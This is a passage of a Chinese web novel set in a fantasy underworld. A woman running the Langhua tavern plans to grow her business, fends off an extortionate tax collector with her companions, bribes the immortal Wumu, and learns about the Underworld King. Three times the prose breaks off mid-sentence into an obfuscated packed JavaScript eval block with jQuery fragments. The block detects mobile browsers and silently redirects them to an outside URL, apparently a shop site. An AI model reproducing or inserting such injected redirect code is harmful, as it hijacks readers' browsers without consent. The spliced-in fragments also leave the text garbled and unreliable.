再比如,过了中午,有几个风尘仆仆的女妖精来到店里,要了整整一坛浊酒。酒到酣处,她们有的变出了尖长的口鼻,有的现出了一对翅膀。待到半醉不醉时,便留下几两碎银,仗剑而去。这类客人必然是行走江湖的大侠,多是替商人催收账款,或是押送货物。因为浪花酒肆对镖师有优惠,她们能多得一壶酒。
大侠们路过酒肆进来歇脚,对饮食的要求不高,只是为了借酒烘托气氛,呼应一下自己内心的豪情。迟复樱便将几种酒混合起来,做成了一种烈性酒,取名为天涯孤月、朔风残雪之类的,自然是获得了这些客户的青睐。
迟复樱留神偷听她们说话,可惜没听见谁说押运过冥王的货车。故事书里不是都会有个工具人主动送上门来、提供线索吗?怎么到了她这里,就全是靠自己猜谜了?
到了下午,店里来了几个身穿短装的男女,每人要了一杯最便宜的浓茶,大概是要提神醒脑,回去好接着干活。这些人腰间扎着巾子,一看就是工匠和仆役。
迟复樱当即拍板,要想办法进军咖啡界,哪怕先弄出一种近似咖啡的饮料也行,她要将浪花酒肆打造成日咖夜酒的冥界新领地!但这种提神的饮料不能定价太高,否则工人不愿意买。
身边忽然有人问:“你一直躲在这里干什么?”
转头一看,谢清鸣这小子不知什么时候也上了房梁,正坐在她旁边,百无聊赖地看着她。他一条腿踩在梁上,一条腿悬在空中,像一道长练。从头到脚一身银白色,袍子、长裤和长靴都纤尘不染。这样子哪里像是来打工的?
迟复樱曲起指关节,敲了敲他的肩膀:“哥们,今天该你酿酒,活都干完了吗?”
他说:“为什么你坐在这里一整天,我却要酿酒?”
“我可不是白坐。”迟复樱笑呵呵地一摆手,特别有领导的风范。这时大堂里没有客人,迟复樱肆无忌惮地演讲,将自己归纳的客户类型一一告诉他,还阐述了自己的扩张计划。
谢清鸣转着调说:“哦。”
迟复樱期待地看着他:“你有什么想法?都可以提!”来套组合拳!
谢清鸣慢悠悠地说:“我觉得,你蹲在暗处观察人家,真是太变态了。”
“那当然,”迟复樱颇有些骄傲地说,“我以前也是干这种变态的事的,这是我职责的一部分!”
谢清鸣抿着嘴笑了:“你以前是干什么的?”
从前在游戏上线前,迟复樱要研究目标用户的喜好,游戏上线后,又要做用户分层调研和流失用户调研。但那时候她是大大方方地调查,现在却要蹲在房梁上偷看人家的消费能力,这让她想起自己毕业时曾经应聘过一个岗位,工作内容是在后台监视信用卡客户的消费记录,筛选出高消费人群,然后向他们推销理财。
当时她断然拒绝了录取通知,现在兜兜转转,竟还是要干这事。迟复樱唏嘘不已,突然深觉自己十分落魄,垂着眼皮不说话了。
谢清鸣瞥了她几眼,说:“好了好了,你的扩张计划要怎么做?都需要找哪些材料?”
迟复樱大声叹气:“那可多了!比如这个酒肆就应该好好翻修一下……”谢清鸣一本正经地嗯了一声。迟复樱突然下定决心:“不如盘点一下还缺什么,我们去冥王宫里偷!”
说着,一撩外裙的下摆,露出背面的冥王宫地图。图上不仅有几座主殿,连偏殿和迷宫也给画上去了,还用另一种颜色画了仓库,是她回来以后补上去的。
谢清鸣愤怒地说:“你有完没完了?怎么还去上瘾了?隔三差五就要去一次?”
他在那边气得横眉立眼,迟复樱在这边想入非非。她的大黑眼珠滴溜溜地转向了谢清鸣。
他不悦地说:“又在打什么主意?如果是派我去偷东西,我不去!”说着眼睛扫过她的裙摆,嘀咕道:“法术变不出来,认路和画图倒是一套一套的。”
迟复樱笑道:“小谢脸皮这么薄,那就做点简单的事,可以吧?怎么样,我对你够好吧?”
谢清鸣说:“我才不上你的当呢,先说来听听,是什么简单的事?”
迟复樱谄媚地说:“就是唱歌呀!你声音这么好听,一旦引吭高歌,那还得了?周围的人一定会进来听的!”
“什么?”谢清鸣难以置信地问,“你让我卖唱?”
“要是能一边卖唱,一边在大堂里走来走去,给人倒酒,就更好了。”迟复樱双手交握,憧憬地看着他,“试想,站在客人的视角来看,一位玉面公子一边轻吟浅唱,一边缓缓为我斟酒……”
谢清鸣一阵恶寒:“我倒是可以现在就从房梁上跳下去,砸碎客人的酒碗!”
“啊,你说得对!”迟复樱惊叹道,“要是你抓着丝绸,从房梁上荡下去,在空中飞来飞去地唱,那该多么震撼!”
他抱起手臂,半笑不笑地说:“是不是还要一边洒花瓣?”
“可是现在哪有花瓣呢?”迟复樱看着窗外,十分头痛,“这地方怎么全是树和野草,一朵花都看不见?”
谢清鸣奇怪地看了她一眼:“现在又不是春天,哪来的花?”
迟复樱差点脱口而出,现在竟然不是春天吗?那怎么一点都不冷?她及时地咬住舌头,一个大刹车,小心地套问道:“那你估计还有多久到春天?”
谢清鸣的表情更加奇怪了:“这可说不好,谁知道它什么时候就突然来了?”
迟复樱不敢再多问了,心想自己还得找个时间去和金风聊聊。金风知道她是半路苏醒的雕像,但从来不会嘲笑或挖苦她,反而每次都解答她的问题。目前按照她的推测,这里的四季是随机变化的,现在没有开花、没有下雪、也没有掉树叶,那说明现在是夏天。
她转移了话题:“哦,对了,冥王宫里倒是有许多奇花异树……”
谢清鸣崩溃地说:“打住!”
迟复樱笑眯眯地说:“好吧,那还是给你最简单的任务,唱一个。”
“不会。”
“唱吧唱吧,”迟复樱循循善诱,“我们老韩在后厨还唱劳动号子呢,你听。”
此时午后阳光最为强烈,正是韩无刃每天唱歌的时刻。他终于将迟复樱顺回来的衣料变成了一套新衣,而且设计得非常独具匠心。衣袖窄窄,下摆分成四片,搭配长裤和绑腿,方便行走和干活。
但袍子肩线处捆着肩章一样的布卷,放下来就成了飘逸的披风;四片下摆又是向内折进去的,实际是双层,如果把内层拉出来,和相邻的外层钩到一起,整个罩子就会像倒扣的螺旋花朵。此外,他的后背还垂着两片装饰用的碎布,必要时可以支起来作为翅膀。如果哪天他不干活了,就把所有这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468780|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些机关都打开来,他这个人就会看起来很有设计感。
因为有了这样一套新衣服,韩无刃今天唱得格外卖力。迟复樱和谢清鸣坐在房梁上,听见后厨传来一声爆吼:“一种面来二种馅,包成莲花随风转,哎嗨哎嗨哟——”
余音尚未散去,院门就被人一脚踢开。迟复樱一惊,俯身望去,看到一个尖嘴猴腮的小妖走了进来。浪花酒肆还在营业中,院门明明是开着的,但他还是特意在门上踢了一脚,把门踢得嘎吱嘎吱向后旋开。
迟复樱一拍房梁,愤怒地说:“这谁?凭什么踢我们的门?”
就像是为了呼应她的问题,那个尖嘴猴腮的小妖咋咋呼呼地说:“管事的人在哪里?快出来!收税了!”
“什么,他是来收税的?”迟复樱惊愕地看向谢清鸣,“怎么跟个土匪一样?”
谢清鸣耸肩道:“看他身上的褐色锦袍,确实是官差的制服。”
韩无刃已经冲了出来,他万万没想到自己一嗓子唱来了税官,因而脸色差到了极点。迟复樱不想轻易抛头露面,就先在房梁上看着。税官毫不客气地问:“这月的税钱不送过来,还叫本官亲自来拿?”
韩无刃辩解道:“大人,我们小店这月实在没赚什么钱,不过卖了几坛酒,几壶茶,再加几屉点心,利润微乎其微,何谈税钱?”
“放肆!”税官口水喷了韩无刃一脸,“就是哪天你倒贴了钱,也得给我上税!”说着就动手去翻看墙边的木柜。木柜里除了些纸笔外什么也没有,他哼了一声,勾着柜门的手指一松,柜门就当的一声摔上了。再勾开柜门,接着又一松手指,柜门又当的一声摔上了。
如此反复摔了几次,税官说:“听声音,这木板还是不错的么。”
韩无刃脸色铁青,一言不发。税官又伸出那根手指,要去勾韩无刃的衣服:“买新衣服了?”
不等他碰到这件衣服,迟复樱已经飘然落在韩无刃身前,淡淡地看着税官的眼睛。在她身后,韩无刃说:“掌柜的,你看他!”
税官被她盯得变了脸色,厉声问道:“你是谁?什么掌柜?”
迟复樱说:“你听错了,我只是这家酒肆的短工,因为擅长酿酒,所以诨号是浪花大王。”
税官说:“呸!什么都敢称大王了?”
一个冰冷的声音替她回答道:“你不想叫她大王?”
转头一看,谢清鸣不知什么时候也跳了下来。他的嗓音变得十分低沉冷酷,让迟复樱一时愣住了。
税官恶声恶气地说:“我跟你废什么话呢?税金拿来!”
谢清鸣懒散地踏上两步,迟复樱立刻拉住他的胳膊。她初来乍到,凡事一律求稳,只想快点挣钱买灵泉,好尽早去威逼利诱冥王。所以她秉着大事化小的原则,压制着怒气问:“税金是多少?”
税官伸出一个手指头。迟复樱问:“一文?”
谢清鸣扑哧一下笑了出来。税官显然觉得受到了天大的戏弄,对迟复樱低吼道:“一两!”
迟复樱嘴巴微张:“铜的吗?”
税官又狠狠呸了一声,这次恐怕连假牙都要呸出来了:“银的!”
“这……”迟复樱心里一阵恐慌。她好不容易才构思了扩张计划,还没有付诸实践,就要先被抢走一两银子,照这样下去,她永远也回不了家了!她失声叫道:“不行!”
“不行?”税官好像听到了天大的笑话,眼睛一眯,那根手指头像暗器般嗖嗖向她勾了过来。
也就是在这一刹那,酒肆中阴风骤起,迟复樱感到深入骨髓的寒冷。
11. 斗官差
寒冷只出现了一瞬间,就消失了,仿佛是一种幻觉。恐怕没人看清是怎么一回事,就见一阵白烟腾起,烟里传出一声大叫,震得桌椅直颤,引得韩无刃也哎哟起来。
烟雾缓缓散去,税官佝偻的身影便显露出来,嘴里还在“啊啊”地狂喊着。
他身体弯了起来,一条胳膊却还向前举着。谢清鸣一手抓着他那根弯弯曲曲的手指,就像抓着一根枯枝,表情十分冷淡。
而迟复樱早就麻利地跳开了,现在正把手放在谢清鸣的肩膀上,婉转地说:“清鸣,替我跟税官大人握个手。”说得好像两人是在握手问候、互相鼓劲一样,看得韩无刃满头雾水。
谢清鸣显然察觉到她的诡计,哧地一声笑了出来。
她扣在谢清鸣肩上的那只手里,藏着一枚小抄纸条,上面写着:大力。由于自身法力起伏较大,迟复樱总是随身带着写好的纸条,需要施法时就掏出一张。有了这枚小抄的助力,一股大力从她的掌心传到谢清鸣的手指尖,再毫无保留地施加到税官的身上。税官这会儿疼得冷汗直冒,眼珠子都要迸出来了。
他翻着白眼看这两人,脸上不再是那副卑鄙的神情,而是蒙上了一层胆怯的意味。可见韩无刃先前说的果然没错,这地方就是要当恶人才能吃得开。
迟复樱本来也没想把事情闹大,当即就笑呵呵地收回了手。谢清鸣也跟着她慢慢松了手。税官一获得解脱,便立刻又凶相毕露,恶毒地盯着他们,却不敢再随便上手了。
迟复樱有一闪念的疑惑,为什么方才那阵冷风那么像冥王宫里吹出来的?她只疑心这税官是不是和冥王有关系?冥王出门办事,终于腾出一只手来找她了?
只是尚无依据,只得按下不表,迟复樱笑着问:“大人,税金是怎么算出来的?”韩无刃在后面悄悄拉她手肘。
税官好像在听她痴人说梦:“什么?你问我怎么算出来的?谁跟你算呢!哪次不是本官说多少就多少?”他气得小脸煞白,隐约现出一点虫子的面相,头顶上还长出两根须子,原来是个虫子精。
他迈着四方步走到柜台后,哗哗翻着账本,用一根须子划过一行行蝇头小楷,口中念念有词:“这不是有人还了赊账的钱么?还新卖出去这么多!”
其余三人都抱着手臂,无语地看着他。迟复樱好声好气地说:“大人,我们也有成本的,赚的这点钱还不够亏空的。不如这样,您定一个比例,我们以后就按这个交税,保证主动送到您手里!比如说,咱们就定为利润的半成?”
谢清鸣低声说:“你真够抠门的。”
税官哼了一声,啪地丢下账本,绕着大堂不急不缓地走了几步,忽然伸手向后厨的门帘点了一点。后厨存放的几坛酒飞了出来,在空中摞成一串,忽忽悠悠地向门外飞去。
迟复樱张开双手扑了过去:“不行!”韩无刃也奋不顾身地冲向前方,两人一起挡在门口。
那一摞酒坛子停了下来,好像在歪头看着两人。韩无刃伸手搬坛子,却搬不动,于是扎了个马步,搂着坛子往后拽,酒坛仍旧飘在空中,纹丝不动。
税官拿着架子说:“既然你们没钱上税,就用这几坛酒抵了。我们税官秉公办事,平时都要收现钱的,这次就网开一面,你们要好自为之。”
迟复樱面无表情地横了他一眼,也动手去搬那一摞酒坛。岂料那摞酒坛往旁边一闪,像有意寻死一样决绝地冲了出去,梆地一下撞上了门楣,竟把最上面那个酒坛的泥头给撞掉了。酒浆泼了出来,韩无刃心疼地说:“哎呀!”迟复樱赶紧往回缩手,跺着脚说:“那是我酿的!”
税官轻蔑地一笑,一甩下摆就迈开步伐,指挥着一串酒坛子往外走。谢清鸣忽然长臂一舒,轻而易举地抓着税官的后脖颈,将他拉回到面前,皱着眉问:“你听不见吗?那是她酿的!”
税官还在嘴硬,嗷嗷叫骂道:“松手!她算哪根葱?”谢清鸣冷飕飕地笑了一下,重重地将他按到门框上,磕得他鼻青脸肿,须子弯折。短短几分钟内,税官再度吃了苦头,一时间连连呼痛。
迟复樱双手拉着谢清鸣,低声说:“别打残他!还是我来吧!”谢清鸣冷着脸放开他,一屋子人听他破口大骂。税官今天吃了亏,看来是不能善罢甘休,一定要拿走点什么。
酒坛子已经飘到了院子中央,她肉痛地看着,想追上去,又担心把事情做绝。正踟蹰间,忽然身后飞来一条门闩。
那门闩翻滚着抢到一串酒坛前面,对着最上面那坛轻轻一击。酒坛平平地飞了回来,内里波澜不兴,一滴都没有洒出来。回头一看,金风长身玉立于大堂中,单手稳稳地接住了坛子。
门闩又依次在其余几个坛子上嘣嘣敲了几下,几个坛子全都被击回来,落进金风的手里,柔顺地摞在一起,再没有被税官操纵时的怪相了。金风单手托着一摞坛子,另一只手接住飞回来的门闩,转身就进了后厨,看都没看税官一眼。
迟复樱睁大了眼睛,只觉得天地间金光璀璨,喃喃自语道:“好厉害!”
那一头,税官气得鼻斜口歪,指着金风后脑勺骂道:“放肆!”他跑到院子里原地转圈,想找出其他值得抢走的东西,却怎么都找不出。
韩无刃解气地嘿了一声:“告诉你,我们穷着呢!”又顺手捣了谢清鸣肩膀一下。谢清鸣毫无反应地站在一边,一副看戏的样子。正闹得人仰马翻时,院门处有人朗声说:“何事这么热闹啊?”
抬头一看,五木仙人衣衫飘飘地走来,很仙风道骨地微笑着。经过税官时,他目不斜视,好像看不见那身官差的制服一样。谢清鸣也不招呼这位旧主,只对他点一点头。迟复樱心道这谢清鸣难道真被五木打过?
韩无刃正面色不快,但还是迎上去问:“客官今天喝点什么?”五木仙人往大堂里一坐,毫不在意周围僵硬的气氛,抑扬顿挫地说:“就来一碗雾里花吧!”
金风刚刚以一套炫目的棒法闪了税官的面子,肯定不再出来跑堂了。迟复樱去后厨舀了一碗浊酒出来,递给五木仙人,笑嘻嘻地说:“您来得真是时候,再早一会儿还喝不上呢。”
税官仍然在院里愤怒地喘气,听她如此阴阳怪气地影射他,不禁转过头来,面露歹意。
五木仙人呷了一口酒,眼珠左右看了一圈,似乎早就明白怎么回事。但他还是圆滑地说:“呵呵,看来贵酒肆生意很好,税官大人也愿意光顾。”
迟复樱皮笑肉不笑地看着他,他又说:“浪花大王也不必忧愁。谁都有捉襟见肘之时,税官大人还是公正之中不失灵活机变的,不见得就不能通融……”
听他弯弯绕绕地说了一堆,倒像是能跟税官求个情。迟复樱看了一眼土匪进村似的税官,悄默声地问五木仙人:“听起来,仙人您倒是能帮我们说说话?”
五木仙人眯着眼睛笑道:“不敢,不敢。老夫也不过是在这一带走动得多,认识这一带的税官。”说着,又装腔作势地往院子那边看了看,惊讶地说:“咦,真巧,这不就是我认识的那位吗?说起来,这位大人还是脾气和缓的。”
本着宁可花钱交朋友、不能把钱给敌人的原则,迟复樱弯腰在他耳边小声说:“您帮我们省了这税钱,我把省下来的钱分您一半,半两银子呢。”
五木仙人的眼睛腾地一下就亮了,反倒把迟复樱吓了一跳。他一句话没说,但显然立刻倒戈了。谢清鸣斜靠在墙边,看着这两人说悄悄话,脸上不阴不晴的,说不上什么表情。
正好韩无刃端来一盘点心,迟复樱拍板说:“这盘,送您的!”
五木仙人欠身接过盘子放在桌上,起身走到税官旁边,拍了拍他的肩膀。税官吓得一哆嗦,转头看是五木,便警惕地瞪着他。
五木毫不在意,凑到他耳边低声说着什么。迟复樱支着耳朵偷听,似乎是在说什么“冥王”“面子”,难道是五木在吹嘘自己和冥王有交情,让税官买他个面子?
税官阴沉地听着,向这边瞟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468781|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一眼,竟一言不发地走了。迟复樱急忙关了酒肆的门,生怕他再进来。她现在没有闲钱去雇保镖,只能琢磨着之后写点针对税官的驱逐小抄,贴在大门上,应该能应付一阵。回到大堂,她从自己的工资里拿了半两银子,交给五木仙人。
五木仙人登时喜笑颜开,露出了一口的牙,迟复樱很少看见这么发自内心的笑容。果然没有所谓的朋友,只有赤裸的利益,他不再夸税官这么好、那么好,只是说:“以后有什么需要在下帮忙的,尽管开口便是。”
迟复樱适时地说:“您以后多光顾我们小店,我们就很开心啦。”
五木仙人连声说:“那是那是,大家都是朋友。”
她问道:“对了,方才您跟税官说了什么?您认识冥王他老人家吗?”
五木仙人笑道:“哪里,老夫只是说浪花酒肆的酒酿得很好,连冥王也喜欢,所以不要伤了大家的和气。”
这真是鬼扯了,迟复樱回想冥王府里那些山珍海味,怎么也不是这里的酒能比的。她哈哈一笑,问:“那么,您肯定是见过冥王啦?”
谢清鸣冷冷地看着这头,也不加入谈话,应该是还记着被旧主殴打的事。韩无刃很有把握地说:“冥王他老人家不会召见活人的,只有要被他杀死的人,才能看到他的长相。”
五木仙人一边把银子揣进怀里,一边说:“正是,我也没见过冥王本人,对他不甚了解。只是见过他手下的临时杂役,间接地替他办过一点事,实在称不上有交情。”
迟复樱有点失望,她本想要是有个中间人引荐,事情就好办多了。她装出傻里傻气的样子问:“听说冥王能去三界之外,真想不出那是什么地方啊,有别人去过吗?”表情特别神往,一看就没见过世面。
五木仙人诧异地说:“当然没有了,那怎么是谁都能去的?再说,别人谁要去三界之外呢?”
迟复樱哦了一声。在谢清鸣的注视下,五木仙人端起碗一饮而尽,就揣着半块银子告辞了。
这半两银子比任何优惠和广告都有效,两人的关系拉近了许多。迟复樱一路将他送到院门口,低声问:“冥王都有哪些买卖?您帮我留意着点,有没有以酒为原料的?或是跟酒搭配着卖的?”如果能以此为切入点,或许能逐渐摸清冥王产业的结构及物流情况。
五木仙人心领神会:“好说好说,不过我打听起来也要费些时间,恐怕一时半会儿不能给您回信。”
迟复樱说:“下次您来了,我肯定准备美酒和珠宝迎接您。”
五木仙人快乐地说:“您太客气了,还有什么吩咐?”
迟复樱也没客气,继续说:“还有帮我打听打听,冥王和君主、和凡界关系如何?哦,我没有别的意思,就是怕我不懂做生意的规矩,在中间得罪了哪路神仙。”
五木一口答应,迟复樱开门将他放了出去,又重新关好门,返身进了后厨。
金风正在修理那坛撞破的酒,见她进来,就转身对她眨了一下眼睛。迟复樱满脸放光地走到她面前,好像恨不得给她献花:“小风姐,你怎么会武功?你怎么从来都没露过?”
韩无刃也跟着进来了,说:“她会的,她那套打狗棒法很厉害的。”
金风微微一笑:“我是管大堂的,当然也要管守夜。这根门闩我拿着很趁手,经常用它练棍法,久而久之就练成了。”
“你真厉害!”迟复樱羡慕地说,“我也想练个武器。”在冥王宫的兵器库里,她就在动这心思了。
金风点头评估道:“那当然可以了。掌柜的,我看你肢体颀长,行动也十分敏捷,大概是容易练出来的。不知你有没有什么偏爱的武器?”
被她一问,迟复樱发现自己的确没有太多计划,心想管他的,到时索性就刀枪棍棒都试一遍,就知道自己能使什么了。
正盘算着去哪里能找些武器,只听耳边有人压低声音说:“你练什么,用小纸条咯吱人家的痒痒肉吗?”
12. 降神记
迟复樱转过身,抿嘴看着谢清鸣。这人不知什么时候也踱进了后厨。迟复樱哼唧着说:“谢谢你为我出头,下次可别这么冲动了。如果把他打残了,你就要被他下毒手了。”实际心里想,搞不好还要我赔钱。
“还不是看你这个小财迷舍不得那几坛酒?”谢清鸣一耸肩膀,“下次你不如直接送给他算了,过后我再带你去……偷几坛,不就行了?”
迟复樱闷闷不乐,没有接话。她知道谢清鸣心里门清,一定也看出今天这事很麻烦。税官先是被揍了两次,又被五木仙人用冥王压了一头,最后空着手回去,这梁子恐怕结下了。
这就好比两国打仗,主动侵略的一方战胜了,还拿了便宜,那么它即使自损若干,也不会记恨战败那方。反之,败方吃了亏,就必然耿耿于怀,不能善罢甘休。方才她关门时,眼看着门缝外面那税官的脸色越来越差,他看她的最后一眼可称得上恶毒。
以前没有生存危机时,她从不吝啬于请同事吃饭,也会私下给人行个方便,很少卡人家的流程。这样当她求别人推进项目时,人家也乐于帮忙。现在竟然穷成了这样,为一点钱跟当官的撕破脸,无论怎么看,都会被那个税官报复。越是这样,岂不是就越难脱贫,莫非这就是人家常说的人穷志短?
趁着几人都挤在后厨,迟复樱说:“对了,以后你们千万别再叫我掌柜,别人问起来,就说我的身份是短工,在这里酿酒,和你们不熟。”她逼着金风和韩无刃每人叫了三声复樱,才放了心。至于谢清鸣,倒是不用操心。
想到五木仙人的笑容,迟复樱忍不住问:“为什么五木搬出了冥王就这么好使?难道我们下次也能用这借口?”
金风摇头说:“那恐怕不行。五木毕竟跟冥王、税官两头有关系,他偶尔开一次口,或许还好使。我们每次都跟税官斗得乌烟瘴气,差不多从没斗赢过。”迟复樱还是略感疑惑,何以税官听见冥王这个幌子,就不收税了?
韩无刃就说:“掌……复樱啊,看来你是不知道冥王做过的事,也不知道他和君主的关系!”说着就端着一屉包子去了后院,迟复樱急忙也跟着他过去。两人坐在石桌边,韩无刃借着西斜的阳光,一边给他那些包子雕花,一边绘声绘色地讲起来。
冥界没有冥王的时候,君主就是至高无上的领袖。那时的赋税虽然也不算少,但还没有现在这么沉重。税官收税,充实国库,再由君主调度这些钱。
比方说,君主的“明君宫”里,有一年要新修一座“十雨阁”,来对应已有的“五风殿”。所以,那年君主从国库里拨款出去,采购了大量灵泉药水,招募了大量年轻劳力,叫他们喝着药水干活,很快就建成了这座楼。听说那装潢是富丽堂皇,机关是巧妙无双……
迟复樱忍不住举手问道:“要是这些人喝完药水就跑了,去做自己的事了,那药水不就白费了吗?”
谢清鸣慢悠悠地走过来,说:“你以为他们是你?”
迟复樱没理他,韩无刃解释道:“不会的,他们喝之前都跟君主订立了契约的。”
“哦,契约。”迟复樱点了点头,又问,“君主除了给他自己修宫殿,还修别的吗?”
韩无刃说:“当然啦,几百年前,君主也曾下令兴建水利,还把流民聚集起来种田,他老人家很不错的。”
迟复樱随口跟着赞美了几声,心里想的却是那个税官的嘴脸。她猜测这君主也未必多么好,所以税收政策和官僚制度都一塌糊涂。
浪花酒肆所在的长街,是上城区和下城区的分界,还不算最贫困的地方,结果也穷得叮当响。她现在已经完全不再把这个世界当成烂尾游戏了。她们制作那个游戏时,根本没有这些花里胡哨的乱事。
谢清鸣坐在迟复樱旁边的树墩上,两个手肘搭在膝盖上,仰头看着她。她感觉到他的目光,就看了回去。谢清鸣问道:“你好像对冥界不熟?”
迟复樱不慌不忙地说:“这个,是因为我以前睡傻过,醒来以后什么也不懂,只能多问问别人。”
“哦。”谢清鸣拖长声音说,“睡傻了。”他垂下眼睛,睫毛微微扇动着,显然是在所有所思地转动着眼珠。
“突然间忘记了以前的事,也是很正常的,据我所知有些人是会这样的。”迟复樱面不改色,把脸转向了韩无刃。韩无刃正用法术把一只包子的皮雕成镂空的。他就这样一边搞艺术,一边继续讲了下去。
直到前几年,世上突然出了一位冥王,君主的权威才受到了挑战。据说冥王此前隐居在民间,四处游玩,到过许多地方。后来他突然找到了一口灵泉的泉眼。这是当今所有泉眼中最大的一口。
在此之前,冥界有大大小小若干泉眼,凡界也有一两口泉眼,由商人跨境贩卖。可是这些泉眼加起来,都没有冥王这口大。
众所周知,灵泉这种宝贝是不能再生的,用完了就是完了,它不像是一瓢水,泼到地上,还能蒸发以后回到云中,再度化成雨落下。结果事实证明,冥王也不能抵制这种金钱诱惑,他竟然开始贩卖灵泉,并且凭借着高超的策略,让生意越做越大。
也就是在这时,人们才知道冥界还有这么一位冥王。冥王从不露面,只派小喽啰办事。有人以为他是个半身不遂的糟老头子,就打起了泉眼的主意,集结起土匪武装力量去抢夺泉眼所有权,结果一摸进冥王宫,就被冥王杀得渣都不剩。很可能是冥王拿他们试验一些暗器和机关,用完以后就把他们吃了!
听到这里,迟复樱心惊肉跳,想起了自己刚来的那个晚上。她忍不住问道:“既然活着的人都没见过冥王的真面目,他这些事又是怎么流传出来的呢?”
谢清鸣伸长双腿,双手往后一撑,漫不经心地说:“他自己说出去的。”
话要是这么说,迟复樱反倒明白了。冥王大概是对外宣传造势,来树立自己的威严形象,就跟现在的公司要设立企业传播部一样。她有点后悔第一次闯入冥王宫时,没跟他说自己可以帮他监测市场舆论,说不定这类人手才是他需要的!
韩无刃神秘地说:“一开始,冥王只是斩杀那些来抢灵泉的人。后来他愈杀愈勇,不满足于这点对手,就主动出门去找人杀!据说他隐藏身形,只闻其声,被他摆平的人没有一万,也有八千!每次他离开之前,还要跟周围的人聊几句,久而久之,就把自己的事扩散出去了!”
谢清鸣补充道:“他找的人不是王权富贵,就是民间恶霸。”迟复樱一听是狗咬狗的事,这才稍微心安,否则自己将来如果帮了冥王的买卖,就有助纣为虐之嫌。
韩无刃用耳语般的声音总结道:“冥王大人如日中天,最后撼动了君主的地位。现在税官们明面上是替君主办事,其实收上去的钱倒有一大半被冥王抢走了。冥王时不时就去洗劫国库,说起来,他才是真正的君主呢!所以嘛,复樱你不是奇怪为什么税官买五木的账?因为他收了税也是归冥王,没必要得罪冥王喜欢的酒肆!不过我们酒肆什么时候成了冥王喜欢的酒肆了?……”
“冥王竟然能架空君主?”迟复樱又觉得自己方才想得有失偏颇,不禁想入非非,“这么说来,现在世风日下、官僚腐败,其实都是拜冥王所赐?说不定,他掏空了国库,让君主发不出官饷和军饷;还说不定,他在官员里安排奸细。所以人浮于事,有令不行……”
此外,冥王的贪婪也造成了百姓的贫困。民众没有钱,也就不会消费,所以商品经济一塌糊涂。当然,这些解释起来颇为麻烦,迟复樱也就按下不表。她生怕自己帮助冥王的商队是为虎作伥,但如果没有这些产业,百姓的产出不是更无处
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468782|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
变现吗?
韩无刃嘘了一声:“那也不是,也不是,哈哈……”一边笑着,一边端着竣工的包子回楼里去了。
迟复樱扭头去看谢清鸣,想跟他深度讨论一番。谁知谢清鸣面色阴沉,抱着手臂看向地面,从头到脚都很不悦的样子。迟复樱喊他一声:“你在想什么?”
许久,谢清鸣才抬起眼皮说:“没事。你总问冥王的事干什么?难道还想再去他宫里?”
“哪里哪里,我不擅长偷东西,要去也是请你带我去,绝不会抢你的地盘的。”迟复樱松弛地挥着手,“你别不开心呀,今天咱们省了半两银子,平均到每个人的工钱,那就是……”说到这停了下来,不知道这里的人能不能听懂0.125两银子?于是她改口道:“那就是一钱多呢!”
“这下开心了?”他一挺身就站了起来,懒懒地溜达过来,两手撑在桌边,歪头看着她。
迟复樱说:“哎,其实也不算什么好事啦。不过今天这么一闹,倒是发现当恶棍的确能省点钱,还是尝到了甜头的……”谢清鸣微微笑了。
迟复樱双手一拍桌子,兴奋地站起身说:“不如我们去楼门口题字吧!”
谢清鸣愣了一下:“怎么题字?”
迟复樱拉着他腾腾腾跑到楼门前,在那块竖条木板前站定。木板上还是她上次改过的字:浪花淘尽英雌。
谢清鸣轻咳一声,脸上现出了一点心虚的意思,大概是想起两人的初遇。迟复樱也不说破,左右看看,从地上捡了几根树枝,变成木板,可惜颜色深浅不太对。
谢清鸣从地上捡起炭块,吹了吹灰尘,递给迟复樱:“喏。”
迟复樱嘿嘿一笑,接过炭块就挥笔题字,在空白木板上写:恶人才能走运。谢清鸣笑了,这次他笑容格外清澈明亮,好像很是发自内心。迟复樱拿腔作调地说:“笑什么?帮我钉起来。”
谢清鸣果然拿起木板,往地上一扎就固定住了。楼门前有了两块竖条牌匾,一左一右,还分出了平仄。恶人才能走运,浪花淘尽英雌。横批:一流酒肆。
迟复樱摇头晃脑地朗诵了一番,心头大快。虽然还没赚到大钱,但她觉得自己总有一天能返回原世界。她在那边属于活不见人、死不见尸的状态,大概已经被警方报告为离奇失踪,只希望那边的父母不要急得白了头,更不要急出病来。等她回去了,大概也就什么都想起来了。
随即她又想到,自己回家的那天,大概会想念金风、韩无刃,还有眼前这个大胆的混混……
这次换成谢清鸣问道:“你在想什么?”
